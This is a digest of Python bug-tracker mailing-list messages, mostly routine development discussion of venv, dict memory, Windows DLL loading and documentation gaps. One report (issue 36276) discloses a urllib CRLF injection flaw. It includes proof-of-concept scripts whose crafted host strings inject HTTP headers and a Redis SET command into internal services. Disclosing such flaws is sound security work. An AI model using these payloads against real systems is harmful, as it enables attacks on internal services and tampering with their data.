[issue36260] Cpython/Lib vulnerability found and request a patch submission

[KunYu Chen]

KunYu Chen  added the comment:

Thank you Karthikeyan Singaravelan.
We're working on it :D

Kunyu Chen

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36280] Add kind field to ast.Constant, to distinguish u"..." from "..." for type checkers

[Serhiy Storchaka]

New submission from Serhiy Storchaka :

Maybe use a special subclass of Constant for indicating string literals with 
the "u" prefix?

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36280] Add kind field to ast.Constant, to distinguish u"..." from "..." for type checkers

[Guido van Rossum]

Change by Guido van Rossum :


--
assignee: gvanrossum
nosy: gvanrossum
priority: normal
severity: normal
status: open
title: Add kind field to ast.Constant, to distinguish u"..." from "..." for 
type checkers
type: behavior
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36280] Add kind field to ast.Constant, to distinguish u"..." from "..." for type checkers

[Guido van Rossum]

Change by Guido van Rossum :


--
keywords: +patch
pull_requests: +12279
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36279] os.wait3() leaks some uninitialized stack when no processes exist

[Roundup Robot]

Change by Roundup Robot :


--
keywords: +patch
pull_requests: +12278
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35647] Cookie path check returns incorrect results

[Senthil Kumaran]

Change by Senthil Kumaran :


--
assignee:  -> larry

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36278] Truncate method

[Josh Rosenberg]

Change by Josh Rosenberg :


--
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> File truncate() not defaulting to current position as documented

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36279] os.wait3() leaks some uninitialized stack when no processes exist

[David Wilson]

New submission from David Wilson :

Not sure if this is worth reporting..

p = os.popen('sleep 1234')
os.wait3(os.WNOHANG)
os.wait3(os.WNOHANG)
os.wait3(os.WNOHANG)

Notice struct rusage return value. When wait3() succeeds on Linux, but no child 
was waiting to be reaped,  is not updated by the kernel, therefore it is 
passed uninitialized back to the user, essentially leaking a little bit of 
stack memory

--
messages: 337833
nosy: dw
priority: normal
severity: normal
status: open
title: os.wait3() leaks some uninitialized stack when no processes exist

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36252] update to Unicode 12

[Benjamin Peterson]

Benjamin Peterson  added the comment:

msg318935 is still true.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36278] Truncate method

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

This looks like a similar report to issue26158 where truncate refers to the 
position of the underlying buffer and could be documented better.

--
nosy: +serhiy.storchaka, xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36278] Truncate method

[Cavad Salmanov]

New submission from Cavad Salmanov :

I created a new file for researching truncate() method. and I writed  this text:
alma
armud
heyva
nar
qarpiz
yemis

I wanted to delete all the text apart from first line by truncate method.

I writed these codes on python idle:
__
#First, I read text for showing it's content
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()


#Then writing codes for operation which I wanted
>>> dosya = open('deneme.txt','r+')
>>> dosya.readline()
'alma\n'
>>> dosya.tell()
6
>>> dosya.truncate()
38
>>> dosya.seek(0)
0
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()
#I thought I must closed the file, then read again:


#Then I saw nothing has changed
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()

#But when I writed codes in this way, it is worked
>>> dosya = open('deneme.txt','r+')
>>> dosya.readline()
'alma\n'
>>> dosya.tell()
6
>>> dosya.seek(6)
6
>>> dosya.truncate()
6
>>> dosya.close()
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\n'

# I was on 6th byte in both. But it is worked which I used seek() #method. I 
think both of them were returnden same things

--
messages: 337830
nosy: Cavad Salmanov
priority: normal
severity: normal
status: open
title: Truncate method
type: behavior
versions: Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36276] Python urllib CRLF injection vulnerability

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

See also https://bugs.python.org/issue30458#msg295067

--
nosy: +martin.panter, orsenthil, xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36277] pdb's recursive debug command is not listed in the docs

[Antony Lee]

New submission from Antony Lee :

pdb's recursive debug command (mentioned e.g. in 
https://bugs.python.org/issue35931) is not listed in 
https://docs.python.org/3/library/pdb.html#debugger-commands.
(I haven't checked whether any other command is missing.)

--
assignee: docs@python
components: Documentation
messages: 337828
nosy: Antony.Lee, docs@python
priority: normal
severity: normal
status: open
title: pdb's recursive debug command is not listed in the docs

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36276] Python urllib CRLF injection vulnerability

[ragdoll]

New submission from ragdoll :

Abstract:
A CRLF injection vulnerability of Python built-in urllib module (“urllib2” in 
2.x，”urllib” in 3.x) was found by our team. Attacker who has the control of the 
requesting address parameter, could exploit this vulnerability to manipulate a 
HTTP header and attack an internal service, like a normal Webserver, Memcached, 
Redis and so on.

Principles:
The current implementation of urllib does not encode the ‘\r\n’ sequence in the 
query string, which allowed the attacker to manipulate a HTTP header with the 
‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the 
new line of the HTTP header. 

Proof of Concept:
Consider the following Python3 script:

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://; + host + ":8080/test/?test=a"

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
#end

In this script, the host parameter usually could be controlled by user, and the 
content of host above is exactly the payload. We setup a server using nc to 
open a  port and to receive and display the HTTP request data from client , 
then run the code above on a client to sent a HTTP request to the server.

# nc -l -p 
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 10.251.0.83:
User-Agent: Python-urllib/3.7
Connection: close


#end
As you can see in the picture above , the nc server displayed the HTTP request 
with a manipulated header content:” X-injected:header”, which means we 
successfully injected the HTTP header. In order to make the injected header 
available, we have to add an extra ‘\r\n’ after the new header, so we add 
another parameter to contain the original parameter data, like ‘TEST’ in above 
sample.

Attack Scenarios
1. By crafting HTTP headers, it’s possible to fool some web services;
2. It’s also possible to attack several simple services like Redis, memcached.
Let’s take Redis as a example here:
Adapt the script above to this:
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"
url = "http://; + host + ":8080/test/?test=a"

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
#end
We changed the injected header to a valid redis command, after executing this, 
we check the redis server:
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379> 
We can see that a “test” key was inserted successfully.

Conclusion:
The implementation of parameter handling of urllib is vulnerable, which allows 
attacker to manipulate the HTTP header. Attacker who has ability to take 
control of the requesting address parameter of this library, could exploit this 
vulnerability to manipulate a HTTP header and attack an internal host like a 
normal Webserver, Memcached, Redis and so on.

--
components: Library (Lib)
files: python-urllib-CRLF-injection-vulnerability.pdf
messages: 337827
nosy: ragdoll.guo
priority: normal
severity: normal
status: open
title: Python urllib CRLF injection vulnerability
type: security
versions: Python 2.7, Python 3.7, Python 3.8
Added file: 
https://bugs.python.org/file48206/python-urllib-CRLF-injection-vulnerability.pdf

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36157] Document PyInterpreterState_Main().

[Cheryl Sabella]

Change by Cheryl Sabella :


--
stage: needs patch -> commit review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Steve Dower]

Steve Dower  added the comment:

PR has been posted, but it's incomplete (docs, news, etc.)

And unfortunately longer than I'd hoped, since we have to use GetProcAddress 
for these function on Windows 7 still (even if it has the required update), but 
since it's coming from kernel32 (which is always loaded) and these are going to 
be rare calls I'm not too concerned. Still, as soon as we drop Win7, it'll be 
nice to clean these up.

I ended up making the functions public as os.add_dll_directory and 
os.remove_dll_directory. The return value is using a capsule (which is needed 
because it's an opaque pointer that you use to remove the directory later), and 
honestly I don't think it matters enough to give it its own type. Given the 
choice between making the functions private (and requiring "import nt; 
nt._add_dll_directory()") vs. implementing a whole type for one opaque value, 
I'll make the functions private :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Steve Dower]

Steve Dower  added the comment:

Yeah, that failure on Windows is due to not correctly detecting a venv made 
from a build tree, rather than a venv from a proper install. I have a fix for 
that in the other bug. If it got that far, it means it used the correct prefix 
path, so it'll be fine.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35132] python-gdb error: Python Exception Type does not have a target

[Dylan Cali]

Dylan Cali  added the comment:

Thank you!  And thank you Lisa Roach for the investigation and fix.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Cheryl Sabella]

Cheryl Sabella  added the comment:


New changeset 839b925f6347222de560cdb767924c502b4039aa by Cheryl Sabella in 
branch 'master':
bpo-35661: Fix failing test on buildbot (GH-12297)
https://github.com/python/cpython/commit/839b925f6347222de560cdb767924c502b4039aa


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Steve Dower]

Change by Steve Dower :


--
keywords: +patch
pull_requests: +12277
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Cheryl Sabella]

Cheryl Sabella  added the comment:

Thanks Steve.

The venv tests run for me from inside a venv on Windows 10 from a command 
prompt.  From Powershell, all the tests fail with the following when run from 
inside a venv:
FileNotFoundError: [Errno 2] No such file or directory: 
'N:\\projects\\cpython\\lib\\venv\\scripts\\nt\\python.exe'

I haven't tried on linux.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36174] Remove licenseUrl field from nuget packages

[miss-islington]

miss-islington  added the comment:


New changeset ada2e379738bc0eca6ec030a4a573aa7b98faf78 by Miss Islington (bot) 
in branch '3.7':
bpo-36174: Update nuget authoring for new license field. (GH-12300)
https://github.com/python/cpython/commit/ada2e379738bc0eca6ec030a4a573aa7b98faf78


--
nosy: +miss-islington

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36174] Remove licenseUrl field from nuget packages

[Steve Dower]

Steve Dower  added the comment:

I'll do the 2.7 backport later (hopefully tomorrow, maybe?). Need to spin up my 
build machine for it.

We currently don't include the license directly in the 2.7 nuget packages, so 
there's a slightly bigger chance required (hopefully only a line or two, but it 
needs testing).

--
assignee:  -> steve.dower

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36275] DOC: venv.create doesn't include prompt parameter

[Cheryl Sabella]

New submission from Cheryl Sabella :

In the documentation for the `venv` module, there is a module-level convenience 
function for `create` which is missing the `prompt` parameter and the version 
added directive.

venv.create(env_dir, system_site_packages=False, clear=False, symlinks=False, 
with_pip=False)

Assigning to @Mariatta for the sprints.

--
assignee: Mariatta
components: Documentation
messages: 337819
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: venv.create doesn't include prompt parameter
type: enhancement
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36174] Remove licenseUrl field from nuget packages

[miss-islington]

Change by miss-islington :


--
pull_requests: +12276

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36174] Remove licenseUrl field from nuget packages

[Steve Dower]

Steve Dower  added the comment:


New changeset 26c910c59c47bdef4220c34e66c45a625bda5e56 by Steve Dower in branch 
'master':
bpo-36174: Update nuget authoring for new license field. (GH-12300)
https://github.com/python/cpython/commit/26c910c59c47bdef4220c34e66c45a625bda5e56


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36174] Remove licenseUrl field from nuget packages

[Steve Dower]

Change by Steve Dower :


--
keywords: +patch
pull_requests: +12275
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Steve Dower]

Steve Dower  added the comment:

The PR looks good to me.

Are you able to test this test running from in a venv? I'm not at all clear why 
it would work there when the others fail (there's another issue looking at 
this, since it's only Linux that doesn't support venv-in-venv, but the tests 
are mostly all skipped anyway)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Inada Naoki]

Inada Naoki  added the comment:

On Wed, Mar 13, 2019 at 4:46 AM Raymond Hettinger
 wrote:
>
> Raymond Hettinger  added the comment:
>
> I hate to see you working so hard to make this work.  IMO, the effort is 
> futile.  Dicts were intentionally designed to do a single memory allocation 
> and memset(0) to be fully ready to store data.  This PR is undoing that 
> decision and will make Python worse rather than better.

Please that this PR is not do it.  From Python 3.6, dict uses two
allocations.  No embedded small table.
This PR just move 2nd allocation from dict creation to first insertion.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Cheryl Sabella]

Cheryl Sabella  added the comment:

Steve, thanks for the suggestions.  

Looking at the other tests, `test_prompt` was the only one (prior to the 
original change) that didn't create a venv, so maybe actually creating the venv 
instead of just instantiating the class were testing that everything worked 
together?  For example, see `test_isolation` and `test_symlinking`.  

I've added the code to explicitly remove the directory and I also slightly 
reorganized the create.  Not all the tests use the `run_with_capture`, but at 
the same time, none of the ones that use it do anything with the output, so I 
thought it wouldn't hurt to add it.

I tried to submit the tests just to the buildbots based on the devguide, but 
they were failing for other reasons, so I made the PR.  I don't think we'll 
know if this fixes the bots until the PR is merged, but if one of you could 
take a look and approve it, I'd appreciate it.  And then I'll keep my fingers 
crossed.   :-)

--
assignee: cheryl.sabella -> brett.cannon
stage: patch review -> resolved

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Cheryl Sabella]

Change by Cheryl Sabella :


--
pull_requests: +12274
stage: resolved -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue17421] Drop restriction that meta.__prepare__() must return a dict (subclass)

[Caleb Donovick]

Caleb Donovick  added the comment:

In my mind this seems like a bug. PEP 3115 states:
'''
__prepare__ returns a dictionary-like object which is used to store the class 
member definitions during evaluation of the class body. In other words, the 
class body is evaluated as a function block (just like it is now), except that 
the local variables dictionary is replaced by the dictionary returned from 
__prepare__. This dictionary object can be a regular dictionary or a custom 
mapping type.
'''

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Steve Dower]

Change by Steve Dower :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Steve Dower]

Steve Dower  added the comment:


New changeset 8ef864d50fb847cf15d5717c0db04fd60fb13d8d by Steve Dower in branch 
'master':
bpo-36264: Updates documentation for change to expanduser on Windows (GH-12294)
https://github.com/python/cpython/commit/8ef864d50fb847cf15d5717c0db04fd60fb13d8d


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue17421] Drop restriction that meta.__prepare__() must return a dict (subclass)

[Caleb Donovick]

Change by Caleb Donovick :


--
nosy: +donovick

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Terry J. Reedy]

Terry J. Reedy  added the comment:

Some of my thoughts on this.

Conceptually, I expected that clearing a normal dict should make it an empty 
normal dict.  I presume that making it instead an empty shared key dict is a 
matter of efficiency and code simplicity.  If the 'anomaly' is to be corrected, 
changing .clear would be an alternative.

The fact that this patch 'rescues' people who use .setdefault when 
collections.defaultdict would be better does not especially persuade me 
(msg291817).  The dict method doc and docstring could refer to defaultdict for 
such situations.

In 3.8.0a2, empty sets, like empty dicts, are ready to add. Empty lists in a2 
are *not*, so pre-allocation is not universal in CPython for mutable 
collections.

--
nosy: +terry.reedy

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36216] urlsplit does not handle NFKC normalization

[Steve Dower]

Steve Dower  added the comment:

Hah, I typo'd the commit message and marked it as 3.7 instead of 2.7. Oh well.

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36229] Linear-time list, set, and bytearray ops.

[Tim Peters]

Tim Peters  added the comment:

I'm at best -0 on this, and on the edge of -1.  We already supply 
mutate-in-place operations for when this is wanted, and, e.g., for lists, it's 
as dead easy to spell as

L1 += L2

Half the point of the hack for string catenation was that the similar-looking

S1 += S2

did _not_ mutate in place.  But that spelling for lists already does.

Beyond that, is it actually safe for set operations?  Those need to compare 
elements, so can call into Python code via custom __eq__ implementations, which 
in turn can do anything, including boosting the number of ways to reach the 
original inputs (i.e., increase their refcounts).  For that reason I believe it 
can be visible if, e.g.,

Set1 = Set1 & Set2

mutates the original set bound to Set1.  The binding via name `Set1` may be the 
only way to reach the original set before that statement executes, but the 
process of computing the RHS _may_ create additional references to the original 
set object.

Even if it doesn't, when element __eq__s are running other threads may run too, 
and pick up ever-changing values for the set object `Set1` refers to if it's 
mutated in place.

None of those were potential issues for hacking string catenation (which never 
calls back into Python code - and holds the GIL - for the duration).

--
nosy: +tim.peters

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Steve Dower]

Steve Dower  added the comment:

It's different from ctypes because I can update ctypes as part of this change :)

The reason it matters is that it's basically a wrapper around LoadLibrary, and 
that's what is going to change here. Hopefully we won't cause too much trouble 
for their users.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36256] parser module fails on legal input

[Brett Cannon]

Brett Cannon  added the comment:

@Xavier different needs; AST and CST are at different stages of compilation.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[mattip]

mattip  added the comment:

I have left a note for arigato, but why is CFFI different than ctypes or 
c-extension modules? All will need adjustment.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36216] urlsplit does not handle NFKC normalization

[Steve Dower]

Steve Dower  added the comment:


New changeset 507bd8cde60ced74d13a1ffa883bb9b0e73c38be by Steve Dower in branch 
'2.7':
[3.7] bpo-36216: Only print test messages when verbose (GH-12291)
https://github.com/python/cpython/commit/507bd8cde60ced74d13a1ffa883bb9b0e73c38be


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Steve Dower]

Steve Dower  added the comment:

Actually, CFFI is probably going to be most affected. Who do we know from that 
project who should be nosied on this?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36229] Linear-time list, set, and bytearray ops.

[Raymond Hettinger]

Raymond Hettinger  added the comment:

> Binary operations on collections are, in general, of quadratic complexity.

BTW, this seems like drastic mischaracterization, making it seem like something 
is wrong with the containers.  It is more accurate to say that an uncommon user 
pattern of repeated copy-and-add operations on containers can give quadratic 
behavior.

Likewise, it is a mischaracterization to say this PR "fixes" the containers.  
Instead, it uses what is arguably a hack to recognize potential cases where the 
copy step can be skipped, even though that is what the user explicitly 
specified should occur.

Armin, do you remember the outcome of the discussions when you added the string 
optimization for repeated concatenation.  I do remember that we told users not 
to rely on it and that the str.join() was still the recommended best practice.

--
nosy: +arigo

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36229] Linear-time list, set, and bytearray ops.

[Raymond Hettinger]

Raymond Hettinger  added the comment:

I intend to make a python-dev post about this so we can decide whether to move 
forward or not.   For now, here are a few thoughts:

* Something like this was implemented for strings as an effort to mitigate the 
harm from a common mistake of using chained addition to build-up string rather 
than using string join.  IIRC, there as a decision at that time not to do 
something similar for other containers.

* FWIW, the non-operator versions of these operations already support passing 
in multiple arguments and is the preferred way to do it.

* I think this PR would help some code in the wild.  But typically, people know 
that building series of new containers will tend to make copies.  It would be 
surprising if it didn't.

* We really don't want people to rely on this optimization. It is very fragile. 
If someone ever adds an extra reference, the chained operations become 
quadratic again.

Right now, I'm -0 on the change.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36274] http.client cannot send non-ASCII request lines

[Tim Burke]

New submission from Tim Burke :

While the RFCs are rather clear that non-ASCII data would be out of spec,

* that doesn't prevent a poorly-behaved client from sending non-ASCII bytes on 
the wire, which means
* as an application developer, it's useful to be able to mimic such a client to 
verify expected behavior while still using stdlib to handle things like header 
parsing, particularly since
* this worked perfectly well on Python 2.

The two most-obvious ways (to me, anyway) to try to send a request for /你好 (for 
example) are

# Assume it will get UTF-8 encoded, as that's the default encoding
# for urllib.parse.quote()
conn.putrequest('GET', '/\u4f60\u597d')

# Assume it will get Latin-1 encoded, as
#   * that's the encoding used in http.client.parse_headers(),
#   * that's the encoding used for PEP-, and
#   * it has a one-to-one mapping with bytes
conn.putrequest('GET', '/\xe4\xbd\xa0\xe5\xa5\xbd')

both fail with something like

UnicodeEncodeError: 'ascii' codec can't encode characters in position ...

Trying to pre-encode like

conn.putrequest('GET', b'/\xe4\xbd\xa0\xe5\xa5\xbd')

at least doesn't raise an error, but still does not do what was intended; 
rather than a request line like

GET /你好 HTTP/1.1

(or

/你好

depending on how you choose to interpret the bytes), the server gets

GET b'/\xe4\xbd\xa0\xe5\xa5\xbd' HTTP/1.1

The trouble comes down to 
https://github.com/python/cpython/blob/v3.7.2/Lib/http/client.py#L1104-L1107 -- 
we don't actually have any control over what the caller passes as the url (so 
the assumption doesn't hold), nor do we know anything about the encoding that 
was *intended*.

One of three fixes seems warranted:

* Switch to using Latin-1 to encode instead of ASCII (again, leaning on the 
precedent set in parse_headers and PEP-). This may make it too easy to 
write an out-of-spec client, however.
* Continue to use ASCII to encode, but include errors='surrogateescape' to give 
callers an escape hatch. This seems like a reasonably high bar to ensure that 
the caller actually intends to send unquoted data.
* Accept raw bytes and actually use them (rather than their repr()), allowing 
the caller to decide upon an appropriate encoding.

--
components: Library (Lib)
messages: 337802
nosy: tburke
priority: normal
severity: normal
status: open
title: http.client cannot send non-ASCII request lines
type: behavior
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Eryk Sun]

Eryk Sun  added the comment:

Okay. Sorry for adding noise. My mental hiccup was in thinking it would 
continue to use LOAD_WITH_ALTERED_SEARCH_PATH in conjunction with 
SetDefaultDllDirectories: LOAD_LIBRARY_SEARCH_DEFAULT_DIRS. I forgot that it's 
documented that they shouldn't be combined. Instead we have to explicitly use 
LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | LOAD_LIBRARY_SEARCH_DEFAULT_DIRS in each 
LoadLibraryExW call in order to support loading DLLs beside the extension 
module. In this case, embedding applications that don't call 
SetDefaultDllDirectories won't have a problem loading extensions that rely on 
AddDllDirectory. It's only ctypes and cffi packages that will be forced to 
update if they currently rely on PATH or the working directory.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Mark Shannon]

Mark Shannon  added the comment:

Serhiy, for {'a': None} the dict is created using _PyDict_NewPresized() so this 
makes no difference.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35944] Python 3.7 install error

[Steve Dower]

Steve Dower  added the comment:

Closing due to no response

--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35832] Installation error

[Steve Dower]

Steve Dower  added the comment:

Closing due to no response.

--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Mark Shannon]

Mark Shannon  added the comment:

In general, I agree with Raymond that this is likely to counter-productive.

But let's not guess, let's measure :)

I expect that there are few live empty dicts at any time for most programs. In 
which case there is no point in any change that attempts to save memory use for 
empty dicts.

But I could be wrong. If there commonly are lots of live empty dicts,
then some sort of optimisation could be appropriate.


I should also add that dict.clear() uses a key-sharing dict to avoid 
allocation, because PyDict_Clear() is a void function so there is no way to 
handle an allocation failure.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Paul Moore]

Paul Moore  added the comment:

> Since everyone seems to have misunderstood at least part of the proposal, I'm 
> not going to explain any more until I have a patch. Excluding boilerplate and 
> docs, it'll be about ten lines of code.

+1 on that. Code is much harder to misunderstand :-)

Paul

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Paul Moore]

Paul Moore  added the comment:

OK, I don't really follow enough of the details here to comment properly. But 
clearly Steve and Eryk are not yet in agreement.

My personal view is that this is something where we should be trying *very* 
hard to preserve backward compatibility. The proposal here is intended to solve 
the problem of making it easier for .pyd files to reliably load helper DLLs 
from shared locations. That's fine, and while it's an important use case (AIUI, 
it matters for a lot of the scientific stack) IMO it's *not* important enough 
to warrant breaking working scripts or embedding applications (particularly as 
this is a fairly obscure detail of how Windows works, so it's unlikely that 
people carefully follow "best practices" here).

